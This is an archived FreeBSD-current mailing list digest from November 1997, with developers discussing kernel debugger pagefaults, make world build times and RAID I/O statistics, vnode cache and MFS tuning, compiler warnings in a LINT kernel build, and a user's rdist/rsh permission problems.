> > > Boot: -sd > > > > when the kernel comes to a stop in the debugger add: > > > > break vfs_mountrootfs > > cont > > > > when the system breaks on vfs_mountrootfs() > > try > > > > trace > > > > or > > > > step (or in fact almost anything else) > > > > and get pagefaults.. > > > > Does any one else see this? > > (I updates my sources today) interestingly enough, 'cont' will allow you to continue. Though, since I'm trying to track down a crash this is not much help, because it immediatly hits my problem and crashes. john hood wrote: > > > It's a rather smart Heisenbug. > > I'm trying to track down some IDE problems (probably hardware), so I > try using the early-boot debugger, with 'boot -sd'. No matter what I > do in the debugger-- even just immediately continue out of it-- the > kernel fails to detect my IDE drives and panics on not finding a root > fs. If I set a breakpoint, after the breakpoint is hit, I get > pagefaults when I give any command. > > I think this bug knows where I live. > > I saw this about a week ago then got tied up by other things. This is also a kernel of about that vintage. From owner-freebsd-current Mon Nov 3 22:07:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA14271 for current-outgoing; Mon, 3 Nov 1997 22:07:18 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA14258 for ; Mon, 3 Nov 1997 22:07:15 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 27576 invoked by uid 1000); 4 Nov 1997 06:07:38 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Mon, 03 Nov 1997 22:07:38 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-current@freebsd.org Subject: More on fast make world... Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I really am not so sure what takes the time, but it is not disk I/O. I setup a test machine with 128MB of RAM, a RAID-1 root disk, a RAID-0 8x32KB stripes wide for /usr/src and /usr/obj, on a DPT PM3334UDW (Ultra, wide, differential). Disks are 4GB Barcudas all around. This configuration is capable of 980+ disk I/O per second on the RAID-1 and 1740+ on the RAID-0 array. Starting with a fresh install, SMP kernel current for today, DPT configured with no options, but the performance monitors and a 1 sec timeout hack to catch lost interrupts (new firmware that may be a bit buggy). Top reports (abbreviated): load averages: 7.36, 6.59, 5.06 CPU states: 54.1% user, 0.0% nice, 44.4% system, 1.6% interrupt, 0.0%idle Mem: 11M Active, 17M Inact, 23M Wired, 47M Cache, 8248K Buf, 26M Free Iostat says: tty sd0 sd16 cpu tin tout sps tps msps sps tps msps us ni sy in id 0 1905 771 74 0.0 668 56 0.0 27 0 51 2 20 This is typical over the last hour or so. Anything else I should try? Simon From owner-freebsd-current Mon Nov 3 22:43:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16348 for current-outgoing; Mon, 3 Nov 1997 22:43:33 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA16343 for ; Mon, 3 Nov 1997 22:43:29 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id BAA01019; Tue, 4 Nov 1997 01:43:15 -0500 (EST) From: "John S. Dyson" Message-Id: <199711040643.BAA01019@dyson.iquest.net> Subject: Re: missing pages on cache queue: 1 In-Reply-To: from Jaye Mathisen at "Nov 3, 97 03:19:08 pm" To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Tue, 4 Nov 1997 01:43:15 -0500 (EST) Cc: scottm@cs.ucla.edu, freebsd-current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen said: > > I am getting this all the time as well. It seems to be affecting my > system in that when it happens, I get these long pauses that are > untraceable to any individual process... > Try turning off page prezeroing (near the end of vm_machdep.c.) See if things get more stable. John From owner-freebsd-current Mon Nov 3 23:54:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA21008 for current-outgoing; Mon, 3 Nov 1997 23:54:36 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA21002 for ; Mon, 3 Nov 1997 23:54:33 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id CAA00612; Tue, 4 Nov 1997 02:54:07 -0500 (EST) From: "John S. Dyson" Message-Id: <199711040754.CAA00612@dyson.iquest.net> Subject: Re: More on fast make world... In-Reply-To: from Simon Shapiro at "Nov 3, 97 10:07:38 pm" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 4 Nov 1997 02:54:07 -0500 (EST) Cc: freebsd-current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro said: > I really am not so sure what takes the time, but it is not disk I/O. > > I setup a test machine with 128MB of RAM, a RAID-1 root disk, a RAID-0 > 8x32KB stripes wide for /usr/src and /usr/obj, on a DPT PM3334UDW (Ultra, > wide, differential). Disks are 4GB Barcudas all around. > > This configuration is capable of 980+ disk I/O per second on the RAID-1 and > 1740+ on the RAID-0 array. > > Starting with a fresh install, SMP kernel current for today, DPT configured > with no options, but the performance monitors and a 1 sec timeout hack to > catch lost interrupts (new firmware that may be a bit buggy). > > Top reports (abbreviated): > > load averages: 7.36, 6.59, 5.06 > CPU states: 54.1% user, 0.0% nice, 44.4% system, 1.6% interrupt, 0.0%idle > Mem: 11M Active, 17M Inact, 23M Wired, 47M Cache, 8248K Buf, 26M Free > > Iostat says: > > tty sd0 sd16 cpu > tin tout sps tps msps sps tps msps us ni sy in id > 0 1905 771 74 0.0 668 56 0.0 27 0 51 2 20 > > This is typical over the last hour or so. Anything else I should try? > Try increasing the size of the vnode cache: sysctl -w debug.wantfreevnodes=15000 Make sure you are using -pipe, if not, then use MFS for /tmp or wherever your tempfiles go... -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Tue Nov 4 00:19:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA23053 for current-outgoing; Tue, 4 Nov 1997 00:19:36 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA23048 for ; Tue, 4 Nov 1997 00:19:31 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 29426 invoked by uid 1000); 4 Nov 1997 08:20:02 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Tue, 04 Nov 1997 00:20:02 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: "Jordan K. Hubbard" , freebsd-current@freebsd.org, cunning@dpt.com Subject: Make World Times Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Those of us who like I/O systems, here are some interesting statistics: Total time to build (from fresh install, cd /usr/src;make world): 1h42m. Disk I/O statistics: 52,482 READs, 732,036 WRITEs. Fastest READ 277us, fastest WRITE 119us Slowest READ 298ms, slowest WRITE 534ms Interrupts: 734,124 with latency of 12us - 10.1ms [ Block size:count:slowest:fastest ] READ by size: 512:55:239:20812 1K:16101:0:152596 2K:4072:0:60314 4K:6452:0:140111 8K:9682:0:149361 16K:2014:0:114036 32K:738:2027:115111 64K:741:0:131711 OTHER:12627:0:298174 WRITE by size: 512:0:-1879048193:0 1K:226294:0:480577 2K:27149:0:466115 4K:14057:0:291831 8K:408962:0:525764 16K:1486:0:291242 32K:721:0:348073 64K:3222:0:274109 OTHER:50145:0:534880 Just as interesting are the queue management statistics: Waiting Queue (commands ready to go to HBA but cannot): High Mark: 72 Shortest stay: 7us Longest Stay: 149.5ms Submit Queue (command on the HBA): High Mark: 64 (controller firmware MAX) Shortest stay: 35us Longest Stay: 534.9ms Complete Queue (HBA Done, waiting to callback): High Mark: 14 (controller firmware MAX) Shortest stay: 11us Longest Stay: 10.5ms Firmware Corner No port collisions (command to be submited collides with interrupt service) 19 busy command port (did not become ready in 0.5 second Longest Wait was 0.486 second These indicate a prblem in the firmware I am using. --- If Microsoft Built Cars: Every time they repainted the lines on the road, you'd have to buy a new car. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 4 01:06:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26134 for current-outgoing; Tue, 4 Nov 1997 01:06:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA26113 for ; Tue, 4 Nov 1997 01:06:33 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 18983 invoked by uid 1000); 4 Nov 1997 09:07:03 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Tue, 04 Nov 1997 01:07:03 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-current@freebsd.org Subject: Sound Warnings Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The following are given in today's kernel: ../../i386/isa/sound/audio.c: In function `audio_poll': ../../i386/isa/sound/audio.c:446: warning: implicit declaration of function `DMAbuf_poll' ../../i386/isa/sound/dmabuf.c: In function `reorganize_buffers': ../../i386/isa/sound/dmabuf.c:143: warning: implicit declaration of function `fillw' ../../i386/isa/sound/dmabuf.c: At top level: ../../i386/isa/sound/dmabuf.c:1386: warning: no previous prototype for `DMAbuf_poll' ../../i386/isa/sound/sb_dsp.c:220: warning: no previous prototype for `dsp_speaker' ../../i386/isa/sound/midibuf.c:86: warning: no previous prototype for `drain_midi_queue' --- If Microsoft Built Cars: Every time they repainted the lines on the road, you'd have to buy a new car. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 4 01:06:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26158 for current-outgoing; Tue, 4 Nov 1997 01:06:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA26117 for ; Tue, 4 Nov 1997 01:06:34 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 18989 invoked by uid 1000); 4 Nov 1997 09:07:03 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <199711040754.CAA00612@dyson.iquest.net> Date: Tue, 04 Nov 1997 01:07:03 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: dyson@FreeBSD.ORG Subject: Re: More on fast make world... Cc: freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi John S. Dyson; On 04-Nov-97 you wrote: > Simon Shapiro said: > > I really am not so sure what takes the time, but it is not disk I/O. > > > > I setup a test machine with 128MB of RAM, a RAID-1 root disk, a RAID-0 > > 8x32KB stripes wide for /usr/src and /usr/obj, on a DPT PM3334UDW > > (Ultra, > > wide, differential). Disks are 4GB Barcudas all around. > > > > This configuration is capable of 980+ disk I/O per second on the RAID-1 > > and > > 1740+ on the RAID-0 array. > > > > Starting with a fresh install, SMP kernel current for today, DPT > > configured > > with no options, but the performance monitors and a 1 sec timeout hack > > to > > catch lost interrupts (new firmware that may be a bit buggy). > > > > Top reports (abbreviated): > > > > load averages: 7.36, 6.59, 5.06 > > CPU states: 54.1% user, 0.0% nice, 44.4% system, 1.6% interrupt, > > 0.0%idle > > Mem: 11M Active, 17M Inact, 23M Wired, 47M Cache, 8248K Buf, 26M Free > > > > Iostat says: > > > > tty sd0 sd16 cpu > > tin tout sps tps msps sps tps msps us ni sy in id > > 0 1905 771 74 0.0 668 56 0.0 27 0 51 2 20 > > > > This is typical over the last hour or so. Anything else I should try? > > > Try increasing the size of the vnode cache: > sysctl -w debug.wantfreevnodes=15000 > > Make sure you are using -pipe, if not, then use MFS for /tmp or > wherever your tempfiles go... Silly question: How do I do that? Last I tried I ended in a panic... How large? Where to mount? /tmp or /var/tmp? I foreget ... Without these improvements, we are at 102 minutes end-to-end. Let's go for sub-hour make world! > > -- > John > dyson@freebsd.org > jdyson@nc.com --- If Microsoft Built Cars: Every time they repainted the lines on the road, you'd have to buy a new car. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 4 01:06:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26169 for current-outgoing; Tue, 4 Nov 1997 01:06:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA26120 for ; Tue, 4 Nov 1997 01:06:34 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 18987 invoked by uid 1000); 4 Nov 1997 09:07:03 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Tue, 04 Nov 1997 01:07:03 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-current@freebsd.org Subject: LINT Errors Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have not heared any voice of support (nor rejection :-) for my offer to vacum the LINT off the kernel. So, here is another batch of complaints (GCC, not me; I am not complaining :-) ../../dev/ppbus/vpo.c: In function `vpointr': ../../dev/ppbus/vpo.c:67: warning: can't inline call to `vpoio_do_scsi' ../../dev/ppbus/vpo.c:283: warning: called from here [ I am getting plenty of these lately. Dunno why :-( ] ../../kern/kern_malloc.c: In function `malloc': ../../kern/kern_malloc.c:136: warning: passing arg 3 of `tsleep' discards `const' from pointer target type ../../kern/kern_malloc.c:198: warning: assignment discards `const' from pointer target type [ I admit shamelessly i do not know how t0 silence this one ] ../../kern/kern_opt.c:44: warning: #warning "obsolete option GATEWAY - use `sysctl -w net.inet.ip.forwarding=1'" [ Should i do as it says? ] ../../miscfs/umapfs/umap_subr.c: In function `umap_mapids': ../../miscfs/umapfs/umap_subr.c:366: warning: passing arg 2 of `umap_findid' from incompatible pointer type ../../miscfs/umapfs/umap_subr.c:392: warning: passing arg 2 of `umap_findid' from incompatible pointer type [ Could be nothing, could be a bug ] ../../pccard/pccard.c: In function `unregister_device_interrupt': ../../pccard/pccard.c:313: warning: implicit declaration of function `INTRDIS' ../../pccard/pccard.c: In function `pccard_alloc_intr': ../../pccard/pccard.c:497: warning: implicit declaration of function `INTREN' [ ??? ] ../../pci/if_vx_pci.c: In function `vx_pci_attach': ../../pci/if_vx_pci.c:129: warning: passing arg 2 of `pci_map_int' from incompatible pointer type [ I remember why this is so, but not why it cannot be cast to shut GCC up ] ../../ufs/lfs/lfs_segment.c: In function `lfs_vunref': ../../ufs/lfs/lfs_segment.c:1232: warning: nested extern declaration of `vnode_free_list_slock' ../../ufs/lfs/lfs_segment.c:1233: warning: nested extern declaration of `vnode_free_list' [ I do not really know what it means. Looks fine to me ] ../../i386/eisa/eisaconf.c: In function `eisa_reg_intr': ../../i386/eisa/eisaconf.c:428: warning: passing arg 3 of `intr_create' from incompatible pointer type [ This is the cmplement of the PCI complaint. See there... ] ../../i386/i386/db_interface.c: In function `kdb_trap': ../../i386/i386/db_interface.c:73: warning: variable `ddb_mode' might be clobbered by `longjmp' or `vfork' [ Oh, really? ] ../../i386/i386/sys_machdep.c: In function `i386_get_ioperm': ../../i386/i386/sys_machdep.c:225: warning: `i' might be used uninitialized in this function [ I routinely initialize these to zero ] ../../i386/isa/if_el.c: In function `el_attach': ../../i386/isa/if_el.c:86: warning: can't inline call to `el_hardreset' ../../i386/isa/if_el.c:169: warning: called from here ../../i386/isa/if_el.c: In function `elintr': ../../i386/isa/if_el.c:84: warning: can't inline call to `elread' ../../i386/isa/if_el.c:508: warning: called from here I already asked why these happen for the last week or so ] ../../i386/isa/if_wl.c: In function `wl_cache_store': ../../i386/isa/if_wl.c:2571: warning: `ip' might be used uninitialized in this function ../../i386/isa/intr_machdep.c:80: warning: `AUTO_EOI_1' redefined opt_auto_eoi.h:1: warning: this is the location of the previous definition [ Should the LINT option be removed, or should the define here be conditional? ] ../../i386/isa/pnp.c: In function `config_pnp_device': ../../i386/isa/pnp.c:425: warning: implicit declaration of function `INTREN' ../../i386/isa/pnp.c:343: warning: `name' might be used uninitialized in this function [ ??? ] ../../i386/isa/scd.c: In function `scd_probe': ../../i386/isa/scd.c:151: warning: can't inline call to `write_control' ../../i386/isa/scd.c:702: warning: called from here [ See above ] { Some sound warnings were already reported tonight } ../../i386/isa/sound/gus_wave.c:64: warning: `MAX_GUS_PNP' redefined ../../i386/isa/sound/gus_wave.c:40: warning: this is the location of the previous definition [ Should I fix that? ] ../../i386/isa/sound/ad1848.c:60: warning: redundant redeclaration of `mssdriver' in same scope ioconf.h:48: warning: previous declaration of `mssdriver' ../../i386/isa/sound/ad1848.c:150: warning: redundant redeclaration of `adintr' in same scope ioconf.h:48: warning: previous declaration of `adintr' [ Well? ] ../../i386/isa/sound/pas2_card.c:77: warning: no previous prototype for `pas2_msg' ../../i386/isa/sound/pas2_card.c:135: warning: no previous prototype for `config_pas_hw' ../../i386/isa/sound/pas2_card.c:276: warning: no previous prototype for `detect_pas_hw' [ ? ] ../../i386/isa/sound/pas2_mixer.c:73: warning: no previous prototype for `mix_write' ../../i386/isa/sound/pas2_mixer.c:251: warning: no previous prototype for `pas_mixer_ioctl' ../../i386/isa/sound/pas2_pcm.c:60: warning: no previous prototype for `pcm_set_speed' ../../i386/isa/sound/pas2_pcm.c:119: warning: no previous prototype for `pcm_set_channels' ../../i386/isa/sound/pas2_pcm.c:136: warning: no previous prototype for `pcm_set_bits' ../../i386/isa/sound/sb_dsp.c:220: warning: no previous prototype for `dsp_speaker' ../../i386/isa/sound/uart6850.c: In function `poll_uart6850': ../../i386/isa/sound/uart6850.c:113: `timeout_func_t' undeclared (first use this function) ../../i386/isa/sound/uart6850.c:113: (Each undeclared identifier is reported only once ../../i386/isa/sound/uart6850.c:113: for each function it appears in.) ../../i386/isa/sound/uart6850.c:113: parse error before `poll_uart6850' *** Error code 1 Stop. Enough for one day... --- If Microsoft Built Cars: Every time they repainted the lines on the road, you'd have to buy a new car. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 4 01:17:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA27193 for current-outgoing; Tue, 4 Nov 1997 01:17:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA27183; Tue, 4 Nov 1997 01:17:35 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id EAA00368; Tue, 4 Nov 1997 04:17:24 -0500 (EST) From: "John S. Dyson" Message-Id: <199711040917.EAA00368@dyson.iquest.net> Subject: Re: More on fast make world... In-Reply-To: from Simon Shapiro at "Nov 4, 97 01:07:03 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 4 Nov 1997 04:17:19 -0500 (EST) Cc: dyson@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro said: > > Hi John S. Dyson; On 04-Nov-97 you wrote: > > Simon Shapiro said: > > > I really am not so sure what takes the time, but it is not disk I/O. > > > > > > I setup a test machine with 128MB of RAM, a RAID-1 root disk, a RAID-0 > > > 8x32KB stripes wide for /usr/src and /usr/obj, on a DPT PM3334UDW > > > (Ultra, > > > wide, differential). Disks are 4GB Barcudas all around. > > > > > > This configuration is capable of 980+ disk I/O per second on the RAID-1 > > > and > > > 1740+ on the RAID-0 array. > > > > > > Starting with a fresh install, SMP kernel current for today, DPT > > > configured > > > with no options, but the performance monitors and a 1 sec timeout hack > > > to > > > catch lost interrupts (new firmware that may be a bit buggy). > > > > > > Top reports (abbreviated): > > > > > > load averages: 7.36, 6.59, 5.06 > > > CPU states: 54.1% user, 0.0% nice, 44.4% system, 1.6% interrupt, > > > 0.0%idle > > > Mem: 11M Active, 17M Inact, 23M Wired, 47M Cache, 8248K Buf, 26M Free > > > > > > Iostat says: > > > > > > tty sd0 sd16 cpu > > > tin tout sps tps msps sps tps msps us ni sy in id > > > 0 1905 771 74 0.0 668 56 0.0 27 0 51 2 20 > > > > > > This is typical over the last hour or so. Anything else I should try? > > > > > Try increasing the size of the vnode cache: > > sysctl -w debug.wantfreevnodes=15000 > > > > Make sure you are using -pipe, if not, then use MFS for /tmp or > > wherever your tempfiles go... > > Silly question: How do I do that? Last I tried I ended in a panic... > How large? Where to mount? /tmp or /var/tmp? I foreget ... > > Without these improvements, we are at 102 minutes end-to-end. Let's go for > sub-hour make world! > This is my fstab entry. You'll also have to add the MFS option to the kernel. The -s param should be smaller than your amount of swap. To add -pipe, just edit your /etc/make.conf file and add -pipe to your CFLAGS entry. swap /tmp mfs rw,-s=210000,-b=16384,-f=2048 0 0 -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Tue Nov 4 01:29:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA27806 for current-outgoing; Tue, 4 Nov 1997 01:29:38 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA27795 for ; Tue, 4 Nov 1997 01:29:34 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id KAA05103; Tue, 4 Nov 1997 10:29:11 +0100 (MET) Message-Id: <199711040929.KAA05103@sos.freebsd.dk> Subject: Re: Make World Times In-Reply-To: from Simon Shapiro at "Nov 4, 97 00:20:02 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 4 Nov 1997 10:29:10 +0100 (MET) Cc: jkh@time.cdrom.com, freebsd-current@FreeBSD.ORG, cunning@dpt.com From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Simon Shapiro who wrote: > Those of us who like I/O systems, here are some interesting statistics: > > Total time to build (from fresh install, cd /usr/src;make world): 1h42m. I do a make world in 1h03m, so what :) What kind of CPU etc are you using for this, without that info the numbers is just nonsense... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Tue Nov 4 01:37:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA28363 for current-outgoing; Tue, 4 Nov 1997 01:37:26 -0800 (PST) (envelope-from owner-freebsd-current) Received: from access.sfc.wide.ad.jp (bourbon.sfc.wide.ad.jp [203.178.141.171]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA28274 for ; Tue, 4 Nov 1997 01:35:33 -0800 (PST) (envelope-from max@bourbon.sfc.wide.ad.jp) Received: from bourbon.sfc.wide.ad.jp (localhost [127.0.0.1]) by access.sfc.wide.ad.jp (8.8.7/3.5Wpl107/15/97) with ESMTP id SAA00344; Tue, 4 Nov 1997 18:10:22 +0900 (JST) Message-Id: <199711040910.SAA00344@access.sfc.wide.ad.jp> To: max@wide.ad.jp Cc: current@FreeBSD.ORG Subject: Re: aic7xx/aicasm_scan.l From: Masafumi NAKANE/=?ISO-2022-JP?B?GyRCQ2Y6LDJtSjgbKEI=?= In-Reply-To: Your message of "Tue, 04 Nov 1997 12:54:37 +0900" References: <199711040354.MAA10998@access.sfc.wide.ad.jp> X-Mailer: Mew version 1.70 on Emacs 19.28.1 / Mule 2.3 X-PGP-Fingerprint: 00 D8 2C CA C7 75 D4 40 5C 34 39 BA A5 46 C0 CC Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 04 Nov 1997 18:10:21 +0900 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Well, looks like something was wrong with my system. I removed all files in the dev/aic7xxx directory, and then did cvsup and everything went fine. Isn't it enough if I just did config GENERIC? Cheers, Max max> Hi, max> I'm just updating my -current box to today's -current. When I compile max> kernel (both custom and GENERIC), it fails with following error. max> Could anyone help me with this? max> ---------------------------------------------------------------------- max> lex -t ../../dev/aic7xxx/aicasm_scan.l > aicasm_scan.c max> cc -O -I. -c aicasm_scan.c max> ../../dev/aic7xxx/aicasm_scan.l: In function `yylex': max> ../../dev/aic7xxx/aicasm_scan.l:69: `T_DOWNLOAD' undeclared (first use max> this function) max> ../../dev/aic7xxx/aicasm_scan.l:69: (Each undeclared identifier is max> reported only once max> ../../dev/aic7xxx/aicasm_scan.l:69: for each function it appears in.) >> ** Error code 1 max> Stop. >> ** Error code 1 max> Stop. max> ---------------------------------------------------------------------- max> Thanks, max> Max From owner-freebsd-current Tue Nov 4 09:31:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA23277 for current-outgoing; Tue, 4 Nov 1997 09:31:50 -0800 (PST) (envelope-from owner-freebsd-current) Received: from intra.vafibre.com ([205.139.223.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA23268 for ; Tue, 4 Nov 1997 09:31:47 -0800 (PST) (envelope-from jbrown@vafibre.com) Received: from is01 by intra.vafibre.com (Unoverica 2.11a) id 00000F10; Tue, 4 Nov 1997 12:32:22 -0500 From: "John Brown" To: Subject: rdist Alternatives Date: Tue, 4 Nov 1997 12:27:12 -0500 Message-ID: <01bce946$e33539b0$65df8bcd@is01.vafibre.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have been working for a couple of weeks now to get rdist to work and have been very unsuccessful. So now on to the next option. I need to duplicate my password db to my secondary radius server. Are there other utilities that I can use to make this happen? rdist info -- In case someone is interested. I started with a 2.1.x box and was able to get it to transfer files from this machine to a 2.2.2 box but could never get it going the other way. So being the smart individual that I am I upgrade the 2.1.x box to 2.2.5 now -- well you guessed it...Now it doesn't work either way. When running with the debug flag it appears to bomb at the first rsh that is executed with a 'permission denied' at this point I have checked everything that I can think of and am at a loss. rlogin will work both way's but rsh and rcp AND rdist will not. (all die with the same message 'Permission Denied'). Nothing in the messages log, NOTHING AAAAAARRRRRRRGGGGGHHHH!!! From owner-freebsd-current Tue Nov 4 09:45:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA24212 for current-outgoing; Tue, 4 Nov 1997 09:45:48 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA24202 for ; Tue, 4 Nov 1997 09:45:43 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 11764 invoked by uid 1000); 